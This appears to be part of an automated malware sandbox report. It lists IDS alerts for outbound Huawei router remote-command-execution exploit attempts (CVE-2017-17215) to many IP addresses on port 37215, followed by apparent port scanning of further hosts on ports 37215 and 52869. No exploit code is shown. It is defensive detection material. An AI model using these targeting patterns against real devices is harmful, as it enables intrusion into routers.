Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40010 -> 170.47.187.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33424 -> 157.77.208.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33424 -> 157.77.208.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45996 -> 157.115.232.41:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45996 -> 157.115.232.41:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48984 -> 41.231.235.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48984 -> 41.231.235.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59916 -> 157.129.228.162:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59916 -> 157.129.228.162:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39268 -> 41.224.244.226:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39268 -> 41.224.244.226:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46650 -> 110.243.142.209:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46650 -> 110.243.142.209:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43482 -> 198.254.9.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43482 -> 198.254.9.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56980 -> 41.75.227.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56980 -> 41.75.227.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36396 -> 81.147.177.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36396 -> 81.147.177.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37906 -> 41.53.184.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37906 -> 41.53.184.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49544 -> 41.37.144.8:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49544 -> 41.37.144.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39668 -> 157.53.103.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39668 -> 157.53.103.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44694 -> 41.47.64.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44694 -> 41.47.64.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42692 -> 197.241.179.191:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42692 -> 197.241.179.191:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54948 -> 157.23.56.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54948 -> 157.23.56.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46618 -> 118.76.56.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46618 -> 118.76.56.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59652 -> 41.240.87.211:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59652 -> 41.240.87.211:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37938 -> 157.210.25.215:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37938 -> 157.210.25.215:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53706 -> 157.34.104.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53706 -> 157.34.104.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49836 -> 197.55.44.167:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49836 -> 197.55.44.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55528 -> 210.132.156.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55528 -> 210.132.156.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47260 -> 8.108.207.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47260 -> 8.108.207.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39976 -> 41.33.245.21:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39976 -> 41.33.245.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48742 -> 197.251.31.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48742 -> 197.251.31.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40842 -> 41.241.135.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40842 -> 41.241.135.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41502 -> 157.109.181.179:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41502 -> 157.109.181.179:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37624 -> 41.245.116.58:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37624 -> 41.245.116.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44780 -> 219.159.165.91:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44780 -> 219.159.165.91:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33444 -> 197.168.86.78:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33444 -> 197.168.86.78:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52812 -> 41.248.83.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52812 -> 41.248.83.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38176 -> 41.20.53.198:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38176 -> 41.20.53.198:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46326 -> 157.222.120.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46326 -> 157.222.120.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44552 -> 41.216.133.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44552 -> 41.216.133.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40646 -> 198.189.132.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40646 -> 198.189.132.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60464 -> 41.189.194.244:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60464 -> 41.189.194.244:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36392 -> 157.153.207.206:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36392 -> 157.153.207.206:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58330 -> 41.128.110.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58330 -> 41.128.110.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51490 -> 41.75.68.114:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51490 -> 41.75.68.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39114 -> 197.196.77.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39114 -> 197.196.77.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37926 -> 157.32.103.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37926 -> 157.32.103.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59428 -> 197.118.130.41:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59428 -> 197.118.130.41:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55384 -> 157.243.7.84:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55384 -> 157.243.7.84:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41340 -> 197.95.169.228:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41340 -> 197.95.169.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59562 -> 197.67.79.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59562 -> 197.67.79.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37138 -> 197.229.227.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37138 -> 197.229.227.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53564 -> 157.72.248.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53564 -> 157.72.248.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42434 -> 155.28.185.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42434 -> 155.28.185.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35680 -> 197.132.243.55:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35680 -> 197.132.243.55:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34184 -> 41.78.37.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34184 -> 41.78.37.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49618 -> 197.74.184.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49618 -> 197.74.184.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34962 -> 197.194.243.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34962 -> 197.194.243.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59806 -> 197.99.9.223:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59806 -> 197.99.9.223:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37642 -> 157.54.130.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37642 -> 157.54.130.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57288 -> 41.191.248.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57288 -> 41.191.248.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34066 -> 91.110.161.158:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34066 -> 91.110.161.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45072 -> 157.230.177.125:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45072 -> 157.230.177.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40002 -> 157.59.116.210:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40002 -> 157.59.116.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36626 -> 217.159.91.139:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36626 -> 217.159.91.139:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35110 -> 157.73.230.79:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35110 -> 157.73.230.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38216 -> 197.235.150.198:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38216 -> 197.235.150.198:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56956 -> 89.73.227.199:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56956 -> 89.73.227.199:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 122.222.181.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 183.62.49.146 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 48.69.126.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.13.30.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.10.251.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.214.240.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 196.26.250.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.225.119.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.176.144.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 139.51.48.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.190.215.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.189.55.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.224.134.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 169.193.81.146 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 223.193.169.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 12.55.180.198 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 144.0.5.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.150.57.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.9.149.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 207.30.132.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.178.230.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.31.223.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.132.131.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 92.211.102.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.213.159.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 136.74.174.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.42.58.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.225.3.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.165.225.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.83.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.86.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.154.77.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.124.94.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.119.139.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.176.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 63.79.183.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.248.9.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.1.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.19.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.208.170.61 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.98.109.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.215.81.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.250.254.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 82.50.208.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 220.70.84.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.194.118.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.147.87.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 77.118.5.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.92.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 113.34.69.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.116.31.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.189.184.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 151.51.122.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.140.4.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.30.15.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.33.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.180.55.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.7.162.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 133.11.175.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.200.167.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 39.232.72.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.35.52.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.47.174.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.72.76.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.172.133.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.27.5.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 46.176.142.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.229.223.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.23.71.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.41.96.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 159.20.45.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.127.202.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 139.37.94.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.179.199.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 211.253.28.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.254.84.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.31.253.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.249.133.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 147.194.102.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.230.182.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.7.60.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 98.100.176.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 36.193.87.124 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.110.88.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 19.228.54.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 158.98.187.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.152.150.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.215.149.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.219.42.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.232.146.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.61.238.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.216.61.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.180.89.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.139.140.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 77.5.21.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.74.148.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.126.156.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.90.43.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.109.36.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.148.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 179.212.46.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.14.204.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.5.66.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.171.37.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.16.249.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.145.136.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.236.97.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.179.140.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.199.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 168.219.235.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.181.26.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 128.99.12.70 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 145.203.105.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.43.73.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.52.202.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.196.42.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.190.71.17 ports 2,5,6,8,9,52869
